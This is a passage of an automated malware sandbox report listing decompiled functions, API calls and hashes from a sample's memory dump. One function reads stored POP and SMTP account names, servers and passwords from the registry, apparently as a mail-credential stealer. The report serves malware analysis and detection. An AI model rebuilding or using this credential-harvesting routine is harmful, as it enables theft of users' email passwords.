GetPrivateProfileStringA.KERNEL32(?,?,0041344F,?,00002000,?), ref: 0040F164

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: PrivateProfileStringmemset$Writememcpysprintf
String ID:
API String ID: 3143880245-0
Opcode ID: 0d5fc167f86d686615e01c1cacfdddd6df1b8ca8c3ebe4bad4095cdeb2aac3fe
Instruction ID: bc019f7bd72990c6dd937b38e23e5507a0673011dafb680486f8cad4f2b6b185
Opcode Fuzzy Hash: 0d5fc167f86d686615e01c1cacfdddd6df1b8ca8c3ebe4bad4095cdeb2aac3fe
Instruction Fuzzy Hash: DF01657240421DAFEF16AF50DD89EDB7B79EF04344F104076B609A1052D6359A64DB68

Uniqueness

Uniqueness Score: -1.00%

Function 004123F2, Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E004123F2() {
				intOrPtr _t1;
				intOrPtr _t2;
				intOrPtr _t3;
				intOrPtr _t4;

				_t1 =  *0x418528;
				if(_t1 != 0) {
					_push(_t1);
					L00412096();
				}
				_t2 =  *0x418530;
				if(_t2 != 0) {
					_push(_t2); // executed
					L00412096(); // executed
				}
				_t3 =  *0x41852c;
				if(_t3 != 0) {
					_push(_t3);
					L00412096();
				}
				_t4 =  *0x418534;
				if(_t4 != 0) {
					_push(_t4); // executed
					L00412096(); // executed
					return _t4;
				}
				return _t4;
			}

0x004123f2
0x004123f9
0x004123fb
0x004123fc
0x00412401
0x00412402
0x00412409
0x0041240b
0x0041240c
0x00412411
0x00412412
0x00412419
0x0041241b
0x0041241c
0x00412421
0x00412422
0x00412429
0x0041242b
0x0041242c
0x00000000
0x00412431
0x00412432

APIs

??3@YAXPAX@Z.MSVCRT ref: 004123FC
??3@YAXPAX@Z.MSVCRT ref: 0041240C
??3@YAXPAX@Z.MSVCRT ref: 0041241C
??3@YAXPAX@Z.MSVCRT ref: 0041242C

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: fb7313e2089ba82f806a054faa6efc2dc291e3dbde93792c84ca6474672037a6
Instruction ID: d787685a6615fa8e7b12f25043f2ee1a52758ce9b2ab1ab1a3353857822e9c29
Opcode Fuzzy Hash: fb7313e2089ba82f806a054faa6efc2dc291e3dbde93792c84ca6474672037a6
Instruction Fuzzy Hash: 8FE012703003206A8E30EB7ABF41AC327CDAA18351394C02EF609D2282DEA8DCE0C42C

Uniqueness

Uniqueness Score: -1.00%

Function 004079E7, Relevance: 5.0, APIs: 4, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E004079E7() {
				void* _t13;
				signed int _t16;
				signed int _t18;
				signed int _t27;
				signed int _t29;
				intOrPtr _t33;

				_t33 =  *0x418540;
				if(_t33 == 0) {
					_push(0x8000);
					 *0x418540 = 0x8000;
					 *0x418544 = 0x100;
					 *0x418548 = 0x1000; // executed
					L00412090(); // executed
					 *0x418528 = 0x8000;
					_t27 = 4;
					_t16 =  *0x418544 * _t27;
					_push( ~(0 | _t33 > 0x00000000) | _t16);
					L00412090();
					 *0x418530 = _t16;
					_t29 = 4;
					_t18 =  *0x418544 * _t29;
					_push( ~(0 | _t33 > 0x00000000) | _t18);
					L00412090();
					_push( *0x418548);
					 *0x418534 = _t18; // executed
					L00412090(); // executed
					 *0x41852c = _t18;
					return _t18;
				}
				return _t13;
			}

0x004079e7
0x004079ee
0x004079f5
0x004079f6
0x004079fb
0x00407a05
0x00407a0f
0x00407a14
0x00407a22
0x00407a23
0x00407a2c
0x00407a2d
0x00407a32
0x00407a40
0x00407a41
0x00407a4a
0x00407a4b
0x00407a50
0x00407a56
0x00407a5b
0x00407a63
0x00000000
0x00407a63
0x00407a68

APIs

??2@YAPAXI@Z.MSVCRT ref: 00407A0F
??2@YAPAXI@Z.MSVCRT ref: 00407A2D
??2@YAPAXI@Z.MSVCRT ref: 00407A4B
??2@YAPAXI@Z.MSVCRT ref: 00407A5B

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1f5e21fb5e0b6fdb4249ba77804457959e5d31aa328e92d400b1c26414509871
Instruction ID: c43431202d49818a45d5cc7318ffcbdb911bff3577ce92db202b1535657ef0fb
Opcode Fuzzy Hash: 1f5e21fb5e0b6fdb4249ba77804457959e5d31aa328e92d400b1c26414509871
Instruction Fuzzy Hash: C2F0FFB1542210AEDB94DB34EE467953AE6E708354F10813EE60ACA2B1FFB85440CB0C

Uniqueness

Uniqueness Score: -1.00%

Function 00406104, Relevance: 3.8, APIs: 3, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406104(signed int* __eax, void* __edx, void** __edi, signed int _a4, intOrPtr _a8) {
				void* _t8;
				void* _t13;
				signed int _t16;
				void** _t21;
				signed int _t22;

				_t21 = __edi;
				_t22 =  *__eax;
				if(__edx < _t22) {
					return 0;
				} else {
					_t13 =  *__edi;
					do {
						 *__eax =  *__eax + _a8;
						_t16 =  *__eax;
					} while (__edx >= _t16);
					_t8 = malloc(_t16 * _a4); // executed
					 *__edi = _t8;
					if(_t22 > 0) {
						if(_t8 != 0) {
							memcpy(_t8, _t13, _t22 * _a4);
						}
						free(_t13);
					}
					return 0 |  *_t21 != 0x00000000;
				}
			}

0x00406104
0x00406105
0x00406109
0x00406154
0x0040610b
0x0040610c
0x0040610e
0x00406112
0x00406114
0x00406116
0x00406120
0x00406128
0x0040612a
0x0040612e
0x00406138
0x0040613d
0x00406141
0x00406146
0x00406150
0x00406150

APIs

malloc.MSVCRT ref: 00406120
memcpy.MSVCRT ref: 00406138
free.MSVCRT(00000000,00000000,75144DE0,00406B78,00000001,?,00000000,75144DE0,00406EF2,00000000,?,?), ref: 00406141

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: freemallocmemcpy
String ID:
API String ID: 3056473165-0
Opcode ID: 2c99a99ae30e83ce40482d8e5bccf8072ec36ae410a4a270b365b928ce6b5d38
Instruction ID: 359978e28c917f6ac826eaac10a3cae38cc8b637956f46d5a6e637dfc07492fc
Opcode Fuzzy Hash: 2c99a99ae30e83ce40482d8e5bccf8072ec36ae410a4a270b365b928ce6b5d38
Instruction Fuzzy Hash: DFF089726052229FC708AF76A98145BB79DAF48354712487FF505E7282DB38DCA0C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 0040BAB7, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040BAB7(void* __edi, void* __eflags) {
				void* __esi;
				signed int _t24;
				intOrPtr _t31;
				intOrPtr _t38;
				void* _t42;
				void* _t45;
				void* _t49;
				void* _t51;
				intOrPtr _t52;

				_t54 = __eflags;
				_t49 = __edi;
				_t38 = 0;
				E00402393( *((intOrPtr*)(__edi + 0x370)), __eflags, 0, 0);
				 *((intOrPtr*)(__edi + 0x108)) = 0;
				E00401E4A(_t54,  *((intOrPtr*)(__edi + 0x370)) + 0xb20); // executed
				_t24 =  *((intOrPtr*)(__edi + 0x37c));
				if( *((intOrPtr*)(_t24 + 0x30)) <= 0) {
					_t51 = 0x41344f;
				} else {
					if( *((intOrPtr*)(_t24 + 0x1c)) <= 0) {
						_t45 = 0;
						__eflags = 0;
					} else {
						_t45 =  *((intOrPtr*)( *((intOrPtr*)(_t24 + 0xc)))) +  *((intOrPtr*)(_t24 + 0x10));
					}
					_t51 = _t45;
				}
				_push(_t51);
				_push("/stext");
				L00412072();
				if(_t24 != 0) {
					_t52 = E0040BA21(_t24, _t51);
					__eflags = _t52 - _t38;
					if(_t52 <= _t38) {
						goto L15;
					}
					goto L9;
				} else {
					_t52 = 1;
					L9:
					E0040B031(_t49, _t38); // executed
					E0040A6C6(_t49);
					_t31 =  *((intOrPtr*)(_t49 + 0x37c));
					if( *((intOrPtr*)(_t31 + 0x30)) <= 1) {
						_t42 = 0x41344f;
					} else {
						_t59 =  *((intOrPtr*)(_t31 + 0x1c)) - 1;
						if( *((intOrPtr*)(_t31 + 0x1c)) <= 1) {
							_t42 = 0;
						} else {
							_t42 =  *((intOrPtr*)( *((intOrPtr*)(_t31 + 0xc)) + 4)) +  *((intOrPtr*)(_t31 + 0x10));
						}
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t49 + 0x370)) + 0x1bc)) =  *((intOrPtr*)( *((intOrPtr*)(_t49 + 0x36c)) + 0xc));
					E00409C9C( *((intOrPtr*)(_t49 + 0x370)),  *((intOrPtr*)(_t49 + 0x370)), _t49, _t59, _t42, _t52); // executed
					_t38 = 1;
					E0040B1DC(_t49);
					L15:
					return _t38;
				}
			}

0x0040bab7
0x0040bab7
0x0040bac0
0x0040bac4
0x0040bad5
0x0040badb
0x0040bae0
0x0040bae9
0x0040bb00
0x0040baeb
0x0040baee
0x0040bafa
0x0040bafa
0x0040baf0
0x0040baf5
0x0040baf5
0x0040bafc
0x0040bafc
0x0040bb05
0x0040bb06
0x0040bb0b
0x0040bb14
0x0040bb20
0x0040bb22
0x0040bb24
0x00000000
0x00000000
0x00000000
0x0040bb16
0x0040bb18
0x0040bb26
0x0040bb29
0x0040bb30
0x0040bb35
0x0040bb3f
0x0040bb56
0x0040bb41
0x0040bb41
0x0040bb45
0x0040bb52
0x0040bb47
0x0040bb4d
0x0040bb4d
0x0040bb45
0x0040bb6b
0x0040bb78
0x0040bb81
0x0040bb82
0x0040bb88
0x0040bb8c
0x0040bb8c

APIs

Part of subcall function 00401E4A: memset.MSVCRT ref: 00401E6C
Part of subcall function 00401E4A: strlen.MSVCRT ref: 00401E85
Part of subcall function 00401E4A: strlen.MSVCRT ref: 00401E93
Part of subcall function 00401E4A: strlen.MSVCRT ref: 00401ED9
Part of subcall function 00401E4A: strlen.MSVCRT ref: 00401EE7

_stricmp.MSVCRT(/stext,0041344F,?,00000000,00000000,?,?,?,0040BCA6), ref: 0040BB0B

Strings

/stext, xrefs: 0040BB06

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: strlen$_stricmpmemset
String ID: /stext
API String ID: 3575250601-3817206916
Opcode ID: ef7f166fbeea55439cfe23be9aafe6a7a28943b2fccc9fc2cab937996929cfca
Instruction ID: f8692cde8425b7317fc14f1eb66aa5838d4e8645dd66f9f31b24f8adae3a6e9d
Opcode Fuzzy Hash: ef7f166fbeea55439cfe23be9aafe6a7a28943b2fccc9fc2cab937996929cfca
Instruction Fuzzy Hash: 20213E707141119FC368AF29C8D1A66B3A8FB04318B15827FE41AA7692C779EC518BCD

Uniqueness

Uniqueness Score: -1.00%

Function 0040625C, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040625C() {
				struct tagLOGFONTA _v64;
				struct HFONT__* _t6;

				E0040619B( &_v64, "Arial", 0xe, 0);
				_t6 = CreateFontIndirectA( &_v64); // executed
				return _t6;
			}

0x0040626e
0x0040627a
0x00406281

APIs

Part of subcall function 0040619B: memset.MSVCRT ref: 004061A5
Part of subcall function 0040619B: strcpy.MSVCRT(?,00000000,?,00000000,0000003C,00000000,?,00406273,Arial,0000000E,00000000), ref: 004061E5

CreateFontIndirectA.GDI32(?), ref: 0040627A

Strings

Arial, xrefs: 00406266

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CreateFontIndirectmemsetstrcpy
String ID: Arial
API String ID: 3275230829-493054409
Opcode ID: 4817efd26ad33d4b637fc7e29178505d6c073bef41158034ee275bb9fa043b80
Instruction ID: 6f23277ce9f10cc220d5cb12b38cfb89722835dabc034d80cc056b5664af2580
Opcode Fuzzy Hash: 4817efd26ad33d4b637fc7e29178505d6c073bef41158034ee275bb9fa043b80
Instruction Fuzzy Hash: 8FD01270D4020D77E610FBA0FC07FC97BAC5B00B05F504431B901F50E6FAE8E2598699

Uniqueness

Uniqueness Score: -1.00%

Function 004047AA, Relevance: 3.0, APIs: 2, Instructions: 24
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004047AA(CHAR* __esi, void* __eflags) {
				struct HINSTANCE__* _t8;
				char _t12;
				char* _t15;
				CHAR* _t17;

				_t17 = __esi;
				E004047FB(__esi);
				_t8 = LoadLibraryA(__esi); // executed
				__esi[0x200] = _t8;
				if(_t8 != 0) {
					_t12 = GetProcAddress(_t8,  &(__esi[0xff]));
					__esi[0x208] = _t12;
					if(_t12 != 0) {
						__esi[0x204] = 1;
					}
				}
				_t15 =  &(_t17[0x204]);
				if( *_t15 == 0) {
					E004047FB(_t17);
				}
				return  *_t15;
			}

0x004047aa
0x004047ac
0x004047b2
0x004047ba
0x004047c0
0x004047ca
0x004047d2
0x004047d8
0x004047da
0x004047da
0x004047d8
0x004047e5
0x004047ee
0x004047f2
0x004047f2
0x004047fa

APIs

Part of subcall function 004047FB: FreeLibrary.KERNELBASE(?,?), ref: 00404810

LoadLibraryA.KERNELBASE(?,0040DC6C,80000001,7554F420), ref: 004047B2
GetProcAddress.KERNEL32(00000000,?), ref: 004047CA

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc
String ID:
API String ID: 145871493-0
Opcode ID: 79a2d912799eded2ecd004947e833272afd2c53e23871a46eb3e118a9608fd27
Instruction ID: a05247dfa83e1e5897bdf1ebfda0bf15c3173a66790072ff667e3a7d903ceddc
Opcode Fuzzy Hash: 79a2d912799eded2ecd004947e833272afd2c53e23871a46eb3e118a9608fd27
Instruction Fuzzy Hash: C6F0E5B46007038BD720DF39D849797B7E8AF45701F00853EF166E3185E778A641C758

Uniqueness

Uniqueness Score: -1.00%

Function 0040F17F, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetPrivateProfileIntA.KERNEL32 ref: 0040F1A6

Part of subcall function 0040F097: memset.MSVCRT ref: 0040F0B5
Part of subcall function 0040F097: _itoa.MSVCRT ref: 0040F0CC
Part of subcall function 0040F097: WritePrivateProfileStringA.KERNEL32(?,?,00000000), ref: 0040F0DB

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: PrivateProfile$StringWrite_itoamemset
String ID:
API String ID: 4165544737-0
Opcode ID: 60443182dfafd2705f0bd8163bf991a75ed65358abc62ac36d7f3c586c4344a1
Instruction ID: ef80bc42b69c7626de0f5e8b39bb4bd6d74a87ec05759e80c101291bc1ad5009
Opcode Fuzzy Hash: 60443182dfafd2705f0bd8163bf991a75ed65358abc62ac36d7f3c586c4344a1
Instruction Fuzzy Hash: 22E0B632004209FBCF125F90EC01AA93FA6FF04315F148479F95C14961E33295B4AB84

Uniqueness

Uniqueness Score: -1.00%

Function 004047FB, Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004047FB(void* __eax) {
				struct HINSTANCE__* _t5;
				signed int* _t7;

				 *(__eax + 0x204) =  *(__eax + 0x204) & 0x00000000;
				_t7 = __eax + 0x200;
				_t5 =  *_t7;
				if(_t5 != 0) {
					_t5 = FreeLibrary(_t5); // executed
					 *_t7 =  *_t7 & 0x00000000;
				}
				return _t5;
			}

0x004047fb
0x00404803
0x00404809
0x0040480d
0x00404810
0x00404816
0x00404816
0x0040481a

APIs

FreeLibrary.KERNELBASE(?,?), ref: 00404810

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 9daaca44af3c137c04138a24eb8ff8cf64b72ee1785e34895ec44d417b16343b
Instruction ID: a9857fde68bfdf8991c7705c8330266d98638ef7b5ff2aef664b3e01c595234a
Opcode Fuzzy Hash: 9daaca44af3c137c04138a24eb8ff8cf64b72ee1785e34895ec44d417b16343b
Instruction Fuzzy Hash: 54D012B61003118FDB209F14EC0CBE133ECAF40312F15C4B9E951A7156C3349540CA58

Uniqueness

Uniqueness Score: -1.00%

Function 00405EEE, Relevance: 1.5, APIs: 1, Instructions: 10
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405EEE(CHAR* _a4) {
				void* _t3;

				_t3 = CreateFileA(_a4, 0x40000000, 1, 0, 2, 0, 0); // executed
				return _t3;
			}

0x00405f00
0x00405f06

APIs

CreateFileA.KERNELBASE(?,40000000,00000001,00000000,00000002,00000000,00000000,00409CBE,00000000,00000000,00000000,0041344F,0041344F,?,0040BB7D,0041344F), ref: 00405F00

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9dd7920263122c6c5394d1aa857aadcc673b4f54c51fbdd86ca26a9f0088c7b1
Instruction ID: bc29cfa666e89d0cfbdb77cae37961506820f0e8ddae25b665a114bfacacae09
Opcode Fuzzy Hash: 9dd7920263122c6c5394d1aa857aadcc673b4f54c51fbdd86ca26a9f0088c7b1
Instruction Fuzzy Hash: 1BC092B0660200BEFE208A20AC0AF77299DD780705F1084207A04E40E0C2A18C008624

Uniqueness

Uniqueness Score: -1.00%

Function 0040F402, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040F402(struct HINSTANCE__* _a4, CHAR* _a8) {

				EnumResourceNamesA(_a4, _a8, E0040F37C, 0); // executed
				return 1;
			}

0x0040f411
0x0040f41a

APIs

EnumResourceNamesA.KERNEL32 ref: 0040F411

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: EnumNamesResource
String ID:
API String ID: 3334572018-0
Opcode ID: 37d1da76d95b5e126e15f716cf118d031e4b8f34fe6c8a3d6132a8d2fb8fd21e
Instruction ID: fad5876d7f8aa1560905c766ba53a11d3010bfcf0403834e812c2ac38a9eeaed
Opcode Fuzzy Hash: 37d1da76d95b5e126e15f716cf118d031e4b8f34fe6c8a3d6132a8d2fb8fd21e
Instruction Fuzzy Hash: 88C09B31594341D7C711DF208C05F1BFEE5BB5C702F108C3D7151D40E4C77180189615

Uniqueness

Uniqueness Score: -1.00%

Function 004070C5, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004070C5(signed int* __esi) {
				int _t2;
				void* _t3;

				_t3 =  *__esi;
				if(_t3 != 0xffffffff) {
					_t2 = FindClose(_t3); // executed
					 *__esi =  *__esi | 0xffffffff;
					return _t2;
				}
				return 0;
			}

0x004070c5
0x004070cc
0x004070cf
0x004070d5
0x00000000
0x004070d5
0x004070d8

APIs

FindClose.KERNELBASE(?,00406FDF,?,?,00000000,?,00411327,*.oeaccount,0041141B,?,00000104), ref: 004070CF

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 1626034a8a252c87a5f1d6eb16cf0afdbdd25481107d0dfa13c5d9d9acae7190
Instruction ID: fb6f9d5761a39194e530e87d941626cbb459cc8d01e30c2ad93bf7984ca40ca8
Opcode Fuzzy Hash: 1626034a8a252c87a5f1d6eb16cf0afdbdd25481107d0dfa13c5d9d9acae7190
Instruction Fuzzy Hash: 77C09230510A01ABD23C5F389C5A46A7BA0AF593323B48F6CE0F3D24F0E73899868A04

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF05, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EF05(void* __esi) {
				struct HINSTANCE__* _t6;
				int _t7;

				_t6 =  *(__esi + 8);
				 *(__esi + 0xc) =  *(__esi + 0xc) & 0x00000000;
				if(_t6 != 0) {
					_t7 = FreeLibrary(_t6); // executed
					 *(__esi + 8) =  *(__esi + 8) & 0x00000000;
					return _t7;
				}
				return _t6;
			}

0x0040ef05
0x0040ef08
0x0040ef0e
0x0040ef11
0x0040ef17
0x00000000
0x0040ef17
0x0040ef1b

APIs

FreeLibrary.KERNELBASE(?,0040EF39,?,?,?,?,?,?,00404221), ref: 0040EF11

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 2e074f5d4832a7d58a2bd7b26742b92faf01e6cbf369b165caea939fd76fa933
Instruction ID: 3414d520a0ca87f174e03c7aae78275fe345844bef97b548c291c08909f1245b
Opcode Fuzzy Hash: 2e074f5d4832a7d58a2bd7b26742b92faf01e6cbf369b165caea939fd76fa933
Instruction Fuzzy Hash: 62C04C31210702DBEB218B12C849753B7E8AB40317F40CC68945695494D77DE454CE18

Uniqueness

Uniqueness Score: -1.00%

Function 00406155, Relevance: 1.5, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406155(CHAR* _a4) {
				long _t4;

				_t4 = GetFileAttributesA(_a4); // executed
				return 0 | _t4 != 0xffffffff;
			}

0x00406159
0x00406169

APIs

GetFileAttributesA.KERNELBASE(?,00408328,?,004083DE,00000000,?,00000000,00000104,?), ref: 00406159

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 926f1fff4bfe7087d2453ca09093eb98846d62159ddff5e69568d7a31b1a8361
Instruction ID: f305466360af1034a225c08a34d2ddc6697937c487c9f6746c0aa1a011dcbbf5
Opcode Fuzzy Hash: 926f1fff4bfe7087d2453ca09093eb98846d62159ddff5e69568d7a31b1a8361
Instruction Fuzzy Hash: CCB012753100005BCB080B349C4A0CD35506F446327204B3CB033C00F0D720CE60BA00

Uniqueness

Uniqueness Score: -1.00%

Function 0040F1B0, Relevance: 1.5, APIs: 1, Instructions: 7
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040F1B0(void* _a4, char* _a8, void** _a12) {
				long _t4;

				_t4 = RegOpenKeyExA(_a4, _a8, 0, 0x20019, _a12); // executed
				return _t4;
			}

0x0040f1c3
0x0040f1c9

APIs

RegOpenKeyExA.KERNELBASE(80000002,80000002,00000000,00020019,80000002,0040F559,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00000000,?,?,00000104), ref: 0040F1C3

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 0defe296c07798555785544969a09239eaeede922113c6288443005d002a046f
Instruction ID: 6c28280414aaf847a098fae787e0885161fd0282473b9be1e1f1fd42ed515737
Opcode Fuzzy Hash: 0defe296c07798555785544969a09239eaeede922113c6288443005d002a046f
Instruction Fuzzy Hash: 41C09B35544301FFDE118F40ED05F09BFA1AB88B05F008414B244240B1C2718414EB17

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00402D74, Relevance: 29.9, APIs: 5, Strings: 12, Instructions: 153
stringregistryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00402D74(void* __ecx, void* __edi, void* __esi, void* __fp0, signed int _a4, void* _a8) {
				signed int _v8;
				char _v20;
				char _v24;
				char _v152;
				char _v280;
				char _v408;
				intOrPtr _v412;
				char _v668;
				char _v796;
				intOrPtr _v800;
				char _v928;
				char _v940;
				char _v952;
				char _v956;
				char _v1084;
				char _v1212;
				char _v1340;
				intOrPtr _v1344;
				char _v1600;
				char _v1728;
				intOrPtr _v1732;
				char _v1860;
				char _v1872;
				void* _t59;
				signed int _t60;
				intOrPtr _t63;
				void* _t113;
				void* _t118;
				void* _t122;
				char* _t123;
				void* _t141;

				_t141 = __fp0;
				_t118 = __edi;
				_t113 = __ecx;
				_t59 = E0040F1B0(_a4, _a8,  &_a8);
				if(_t59 == 0) {
					_t60 = 0x7d;
					_a4 = _t60;
					_v8 = _t60;
					E00402197( &_v1872);
					E00402197( &_v940);
					_t63 = 2;
					_v1732 = _t63;
					_v800 = _t63;
					_push( &_v928);
					_push("DisplayName");
					_push(_a8);
					_v1344 = 4;
					_t122 = 0x7f;
					_v412 = 1;
					E0040F1F1(_t122, _t113);
					E0040F1F1(_t122, _t113, _a8, "EmailAddress",  &_v796);
					E0040F1F1(_t122, _t113, _a8, "PopAccount",  &_v408);
					E0040F1F1(_t122, _t113, _a8, "PopServer",  &_v668);
					E0040F1CA(_t113, _a8, "PopPort",  &_v24);
					E0040F1CA(_t113, _a8, "PopLogSecure",  &_v20);
					if(E0040F214(_t113, _a8, "PopPassword",  &_v280,  &_a4) != 0) {
						_a4 = _a4 & 0x00000000;
					}
					strcpy( &_v1860,  &_v928);
					strcpy( &_v1728,  &_v796);
					E0040F1F1(_t122, _t113, _a8, "SMTPAccount",  &_v1340);
					E0040F1F1(_t122, _t113, _a8, "SMTPServer",  &_v1600);
					E0040F1CA(_t113, _a8, "SMTPPort",  &_v956);
					E0040F1CA(_t113, _a8, "SMTPLogSecure",  &_v952);
					if(E0040F214(_t113, _a8, "SMTPPassword",  &_v1212,  &_v8) != 0) {
						_v8 = _v8 & 0x00000000;
					}
					_t123 = _t118 + 0xa9c;
					strcpy( &_v152, _t123);
					strcpy( &_v1084, _t123);
					_t116 = _a4;
					if(_a4 > 0) {
						E00401CD7( &_v280, _t116);
					}
					if(_v408 != 0) {
						E004023C6( &_v940, _t141, _t118);
					}
					_t117 = _v8;
					if(_v8 > 0) {
						E00401CD7( &_v1212, _t117);
					}
					if(_v1340 != 0) {
						E004023C6( &_v1872, _t141, _t118);
					}
					return RegCloseKey(_a8);
				}
				return _t59;
			}

0x00402d74
0x00402d74
0x00402d74
0x00402d87
0x00402d91
0x00402d9a
0x00402da1
0x00402da4
0x00402da7
0x00402db2
0x00402db9
0x00402dba
0x00402dc0
0x00402dcc
0x00402dcd
0x00402dd2
0x00402dd5
0x00402de1
0x00402de4
0x00402dee
0x00402e04
0x00402e1a
0x00402e30
0x00402e41
0x00402e52
0x00402e77
0x00402e79
0x00402e79
0x00402e8b
0x00402e9e
0x00402eb4
0x00402eca
0x00402ede
0x00402ef2
0x00402f17
0x00402f19
0x00402f19
0x00402f1d
0x00402f2b
0x00402f38
0x00402f3d
0x00402f46
0x00402f4e
0x00402f4e
0x00402f5a
0x00402f63
0x00402f63
0x00402f68
0x00402f6d
0x00402f75
0x00402f75
0x00402f81
0x00402f8a
0x00402f8a
0x00000000
0x00402f92
0x00402f99

APIs

Part of subcall function 0040F1B0: RegOpenKeyExA.KERNELBASE(80000002,80000002,00000000,00020019,80000002,0040F559,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00000000,?,?,00000104), ref: 0040F1C3

Part of subcall function 0040F1F1: RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,0040F582,?,?,?,?,0040F582,00000000,?,?), ref: 0040F20C

Part of subcall function 0040F1CA: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00402904,?,?,?,?,00402904,?,?), ref: 0040F1E9

Part of subcall function 0040F214: RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,?,?,0040245F,?), ref: 0040F22A

strcpy.MSVCRT(?,?), ref: 00402E8B
strcpy.MSVCRT(?,?,?,?), ref: 00402E9E
strcpy.MSVCRT(?,?), ref: 00402F2B
strcpy.MSVCRT(?,?,?,?), ref: 00402F38
RegCloseKey.ADVAPI32(?), ref: 00402F92

Strings

SMTPAccount, xrefs: 00402EAA
PopPort, xrefs: 00402E39
PopLogSecure, xrefs: 00402E4A
SMTPPassword, xrefs: 00402F05
PopPassword, xrefs: 00402E65
DisplayName, xrefs: 00402DCD
